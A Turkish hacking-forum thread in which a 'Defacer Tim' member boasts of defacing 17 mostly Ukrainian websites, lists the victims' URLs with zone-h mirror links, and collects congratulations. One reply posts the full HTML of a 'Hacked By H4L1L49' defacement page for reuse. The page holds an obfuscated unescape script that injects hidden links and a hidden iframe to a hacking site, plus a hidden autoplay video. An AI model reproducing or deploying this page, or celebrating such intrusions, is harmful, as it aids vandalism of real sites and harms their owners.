Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
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17 Site Defaced (Defacer Tim) :)
#1
site: http://4lapy.com.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856537
_________________________________________
site: http://ahvoda.com.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856539
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site: http://av-podolog.com.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856541
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site: http://avtotan.com.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856549
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site: http://banket24.com.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856551
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site: http://bestevent.com.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856554
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site: http://bond-card.in.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856556
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site: http://bs-danaya.com.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856557
_________________________________________
site: http://buona-notte.com.ua/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856560
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site: http://creationfms.net/DefacerTim.html
zone: http://www.zone-h.org/mirror/id/22856562
_________________________________________
site: http://buona-notte.com.ua/DefacerTim.html
zone: http://www.golgeler.org/defacements/?id=21224
_________________________________________
site: http://creationfms.net/DefacerTim.html
zone: http://www.golgeler.org/defacements/?id=21225
_________________________________________
site: http://dpai.com.ua/DefacerTim.html
zone: http://www.golgeler.org/defacements/?id=21226
_________________________________________
site: http://dsw.kiev.ua/DefacerTim.html
zone: http://www.golgeler.org/defacements/?id=21227
_________________________________________
site: http://elise.in.ua/DefacerTim.html
zone: http://www.golgeler.org/defacements/?id=21228
_________________________________________
site: http://eng.uti.org.ua/DefacerTim.html
zone: http://www.golgeler.org/defacements/?id=21229
_________________________________________
site: http://englishforbusiness.com.ua/DefacerTim.html
zone: http://www.golgeler.org/defacements/?id=21230
_________________________________________
site: http://eurobyt.com.ua/DefacerTim.html
zone: http://www.golgeler.org/defacements/?id=21230
Beğenenler:
#2
Elinize sağlık exciting
Beğenenler:
#3
eline sağlık exciting
Beğenenler:
#4
eyw beyler saoln
Beğenenler:
#5
Ellerine sağlık paşam exciting
En büyük acizlik,kendinden başkası gibi görünmektir.
Beğenenler: ERMİŞ
#6
ellerine sağlık tebrik ederim güzel iş çıkarmışsın kardeşim exciting
H4L1L49 kardeşim bir benim ismimi indexe yazmıon haa kaç kez dediğim halde. Eğer yanlış anlamassan indexi editliyim ekliyim ok.
Kod:
<html xmlns="http://www.w3.org/1999/xhtml">
<head><link rel="Shortcut Icon" href="http://i.hizliresim.com/eoLDm9.png" type="image/x-icon">




<meta charset='utf-8'></meta><html lang="tr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta charset="utf-8">
<title>Hacked By H4L1L49 </title>

  <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
  <link rel="stylesheet" type="text/css" href="fiddle.jshell.net/jonnyc/Ujz4P/3/show/css/normalize.css">
  <link rel="stylesheet" type="text/css" href="fiddle.jshell.net/jonnyc/Ujz4P/3/show/css/result-light.css">
  <style type="text/css">
    #myCanvas{
    background: black;
    width: 100%;
    height: 766px;
    position: absolute;
    top: 0px;
    left: 0px;
}
  body {
    background-color: rgb(47,0,68);
}
  </style>
<script type="text/javascript">
<!--
document.write(unescape('%3c%64%69%76%20%73%74%79%6c%65%3d%22%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%3b%22%3e%3c%61%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%63%79%62%65%72%69%7a%6d%2e%6f%72%67%22%20%74%69%74%6c%65%3d%22%53%65%63%75%72%69%74%79%2c%50%72%6f%67%72%61%6d%6d%65%72%2c%46%6f%72%75%6d%2c%53%63%72%69%70%74%2c%57%61%72%65%7a%2c%43%72%61%63%6b%2c%46%75%6c%6c%20%50%72%6f%67%72%61%6d%6c%61%72%2c%57%61%6c%6c%70%61%70%65%72%2c%63%79%62%65%72%69%7a%6d%2c%63%79%62%65%72%69%7a%6d%20%74%69%6d%2c%63%79%62%65%72%69%7a%6d%2e%6f%72%67%22%20%61%6c%74%3d%22%53%65%63%75%72%69%74%79%2c%50%72%6f%67%72%61%6d%6d%65%72%2c%46%6f%72%75%6d%2c%53%63%72%69%70%74%2c%57%61%72%65%7a%2c%43%72%61%63%6b%2c%46%75%6c%6c%20%50%72%6f%67%72%61%6d%6c%61%72%2c%57%61%6c%6c%70%61%70%65%72%2c%63%79%62%65%72%69%7a%6d%2c%63%79%62%65%72%69%7a%6d%20%74%69%6d%2c%63%79%62%65%72%69%7a%6d%2e%6f%72%67%22%3e%43%79%62%65%72%69%7a%6d%3c%2f%61%3e%0d%0a%3c%64%69%76%20%69%64%3d%22%63%6f%70%79%72%69%67%68%74%22%3e%0d%0a%3c%61%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%63%79%62%65%72%69%7a%6d%2e%6f%72%67%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%3e%43%79%62%65%72%69%7a%6d%3c%2f%61%3e%2c%20%26%63%6f%70%79%3b%20%32%30%31%32%20%3c%61%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%63%79%62%65%72%69%7a%6d%2e%6f%72%67%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%3e%43%79%62%65%72%69%7a%6d%3c%2f%61%3e%3c%2f%64%69%76%3e%3c%2f%64%69%76%3e%3c%49%46%52%41%4d%45%20%73%74%79%6c%65%3d%22%74%6f%70%3a%2d%34%32%30%70%78%3b%6c%65%66%74%3a%2d%35%34%35%70%78%3b%70%6f%73%69%74%69%6f%6e%3a%61%62%73%6f%6c%75%74%65%22%20%6e%61%6d%65%3d%22%61%72%61%6d%61%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%63%79%62%65%72%69%7a%6d%2e%6f%72%67%2f%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%30%22%20%73%63%72%6f%6c%6c%69%6e%67%3d%22%6e%6f%22%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%22%30%22%20%6d%61%72%67%69%6e%77%69%64%74%68%3d%22%30%22%20%6d%61%72%67%69%6e%68%65%69%67%68%74%3d%22%30%22%20%3e%3c%2f%49%46%52%41%4d%45%3e'));
//-->
</script>
<script type="text/javascript">//<![CDATA[
$(window).load(function(){
// Create an array to store our particles
var particles = [];

// The amount of particles to render
var particleCount = 30;

// The maximum velocity in each direction
var maxVelocity = 2;

// The target frames per second (how often do we want to update / redraw the scene)
var targetFPS = 33;

// Set the dimensions of the canvas as variables so they can be used.
var canvasWidth = 400;
var canvasHeight = 400;

// Create an image object (only need one instance)
var imageObj = new Image();

// Once the image has been downloaded then set the image on all of the particles
imageObj.onload = function() {
    particles.forEach(function(particle) {
            particle.setImage(imageObj);
    });
};

// Once the callback is arranged then set the source of the image
imageObj.src = "http://www.blog.jonnycornwell.com/wp-content/uploads/2012/07/Smoke10.png";

// A function to create a particle object.
function Particle(context) {

    // Set the initial x and y positions
    this.x = 0;
    this.y = 0;

    // Set the initial velocity
    this.xVelocity = 0;
    this.yVelocity = 0;

    // Set the radius
    this.radius = 5;

    // Store the context which will be used to draw the particle
    this.context = context;

    // The function to draw the particle on the canvas.
    this.draw = function() {
        
        // If an image is set draw it
        if(this.image){
            this.context.drawImage(this.image, this.x-128, this.y-128);        
            // If the image is being rendered do not draw the circle so break out of the draw function                
            //return;
        }
        // Draw the circle as before, with the addition of using the position and the radius from this object.
   //     this.context.beginPath();
    //    this.context.arc(this.x, this.y, this.radius, 0, 2 * Math.PI, false);
     //   this.context.fillStyle = "rgba(0, 255, 255, 1)";
     //   this.context.fill();
     //   this.context.closePath();
    };

    // Update the particle.
    this.update = function() {
        // Update the position of the particle with the addition of the velocity.
        this.x += this.xVelocity;
        this.y += this.yVelocity;

        // Check if has crossed the right edge
        if (this.x >= canvasWidth) {
            this.xVelocity = -this.xVelocity;
            this.x = canvasWidth;
        }
        // Check if has crossed the left edge
        else if (this.x <= 0) {
            this.xVelocity = -this.xVelocity;
            this.x = 0;
        }

        // Check if has crossed the bottom edge
        if (this.y >= canvasHeight) {
            this.yVelocity = -this.yVelocity;
            this.y = canvasHeight;
        }
        
        // Check if has crossed the top edge
        else if (this.y <= 0) {
            this.yVelocity = -this.yVelocity;
            this.y = 0;
        }
    };

    // A function to set the position of the particle.
    this.setPosition = function(x, y) {
        this.x = x;
        this.y = y;
    };

    // Function to set the velocity.
    this.setVelocity = function(x, y) {
        this.xVelocity = x;
        this.yVelocity = y;
    };
    
    this.setImage = function(image){
        this.image = image;
    }
}

// A function to generate a random number between 2 values
function generateRandom(min, max){
    return Math.random() * (max - min) + min;
}

// The canvas context if it is defined.
var context;

// Initialise the scene and set the context if possible
function init() {
    var canvas = document.getElementById('myCanvas');
    if (canvas.getContext) {

        // Set the context variable so it can be re-used
        context = canvas.getContext('2d');

        // Create the particles and set their initial positions and velocities
        for(var i=0; i < particleCount; ++i){
            var particle = new Particle(context);
            
            // Set the position to be inside the canvas bounds
            particle.setPosition(generateRandom(0, canvasWidth), generateRandom(0, canvasHeight));
            
            // Set the initial velocity to be either random and either negative or positive
            particle.setVelocity(generateRandom(-maxVelocity, maxVelocity), generateRandom(-maxVelocity, maxVelocity));
            particles.push(particle);            
        }
    }
    else {
        alert("Please use a modern browser");
    }
}

// The function to draw the scene
function draw() {
    // Clear the drawing surface and fill it with a black background
    context.fillStyle = "rgba(0, 0, 0, 0.5)";
    context.fillRect(0, 0, 400, 400);

    // Go through all of the particles and draw them.
    particles.forEach(function(particle) {
        particle.draw();
    });
}

// Update the scene
function update() {
    particles.forEach(function(particle) {
        particle.update();
    });
}

// Initialize the scene
init();

// If the context is set then we can draw the scene (if not then the browser does not support canvas)
if (context) {
    setInterval(function() {
        // Update the scene befoe drawing
        update();

        // Draw the scene
        draw();
    }, 1000 / targetFPS);
}
});//]]>  

</script>
</head>
<!-- sag t?k bloke <body oncontextmenu="return false;" onkeydown="return false;" onmousedown="return false;"> -->
<body>
<meta name="keywords" content="www.cyberizm.org, cyberizm.org, CYBeRiZM" />
<meta name="description" content=" Hacked By H4L1L49, www.cyberizm.org, cyberizm.org, CYBeRiZM, www.cyberizm.org" />
<link rel="shortcut icon" href="http://img387.yukle.tc/images/1877icon.png" type="image/x-icon">
<script type="text/javascript">
</script>


  <canvas id="myCanvas"></canvas>
s
<style type="text/css">
@font-face {
  font-family: 'Averia Sans Libre';
  font-style: normal;
  font-weight: 400;
  src: local('Averia Sans Libre Regular'), local('AveriaSansLibre-Regular'), url(http://themes.googleusercontent.com/static/fonts/averiasanslibre/v1/yRJpjT39KxACO9F31mj_LqOxStDXxcWVrHkhVmjuyZ8.woff) format('woff');
}

body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
a { text-decoration:none; }
a:link { color: #00FF00}
a:visited { color: #00FF00}
a:hover { color: #00FF00}
a:active { color: #00FF00}

.style2 {Helvetica, sans-serif; font-weight: bold; font-size: 15px; }
.style3 {Helvetica, sans-serif; font-weight: bold; }
.style4 {color: #FFFF00}
.style5 {color: #FF0000}
.style6 {color: #00FF00}
img{opacity:0.9}
.thanks{border:1px double green;
box-shadow:0px 2px 20px white;
border-radius:10px;
padding:9px;}
.a{text-shadow:0px 1px 10px lime;}

</style>

<style type="text/css">
@font-face {
  font-family: 'Orbitron';
  font-style: normal;
  font-weight: 700;
  src: local('Orbitron-Bold'), url(http://themes.googleusercontent.com/static/fonts/orbitron/v3/Y82YH_MJJWnsH2yUA5AuYYbN6UDyHWBl620a-IRfuBk.woff) format('woff');
}
</style>
<center>
<style>
body{overflow:hidden;text-align;font-family: 'Averia Sans Libre', cursive;}
hr{border: 1px solid #1C1C1C;}
</style>
<div id="arkadakiler" style="position:absolute;/* background-image: url(http://www.1resimyukle.com/images/2013/02/04/excortr.jpg); */opacity: 0.4;top: 0px;left: 0px;/* background-repeat: no-repeat; */width: 100%;">
<center style="margin-top: 290px;"><br>
<img src="http://i.hizliresim.com/mqWVX8.jpg" style="
    position: absolute;
    z-index: -999999;
    left: 0;
    top: 0;
    width: 100%;
    height: 765px;
"></img><br><p></p><font face="Orbitron" size="7" color="white" class="a">Hacked By H4L1L49</font><font face="Orbitron" size="7" color="red" class="a"> :/</font><br>
<hr>
<br><br>
<span> <class="style4">Defacer Team
</span>
<p class="twitter">
</p><br>
   <span class="a">Says: Defacer Tim Is Başında !
     </span><br><br> Thanks : H4CK4L | Archavin |  M3L1S4 | COMODO | HackLoJeN | Tuncay117  | KingSkrupellos  |  DUM@N |  bLanX | [D3F@C4R] | H4L1L49 | BruteForce |   Mr.3xT   | SiRReaLSTaR |
<br>
<br>
| Keus |  Ebu Seleme | Sid3 | FrankSht3yn |<span class="style6"></span>
<p>www.cyberizm.org/com</p>
</div>
</center>


</script>
</div>
</center>
</body>
</html>
</center></div> <iframe src="http://www.youtube.com/v/X10RiXjTGvY?hl=tr_TR&amp;autoplay=1" frameborder="0" height="0" width="0"></iframe> </SCRIPT><input name="FTLMTI0MzY=" type="hidden"/></input><div id='175ed-12436'><font style='font:10px tahoma;'> </font></div> <script type="text/javascript">
www.deccal.org
www.deccal.org


Beğenenler:
#7
Kardeşim valla kusura bakma ben bu shelleri iindexleri falan hepsi i sildim bi daha Yapmicam dedim bu indexi de öyle rastgele aldı tekrar k.b
Beğenenler:

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Anahtar Kelimeler

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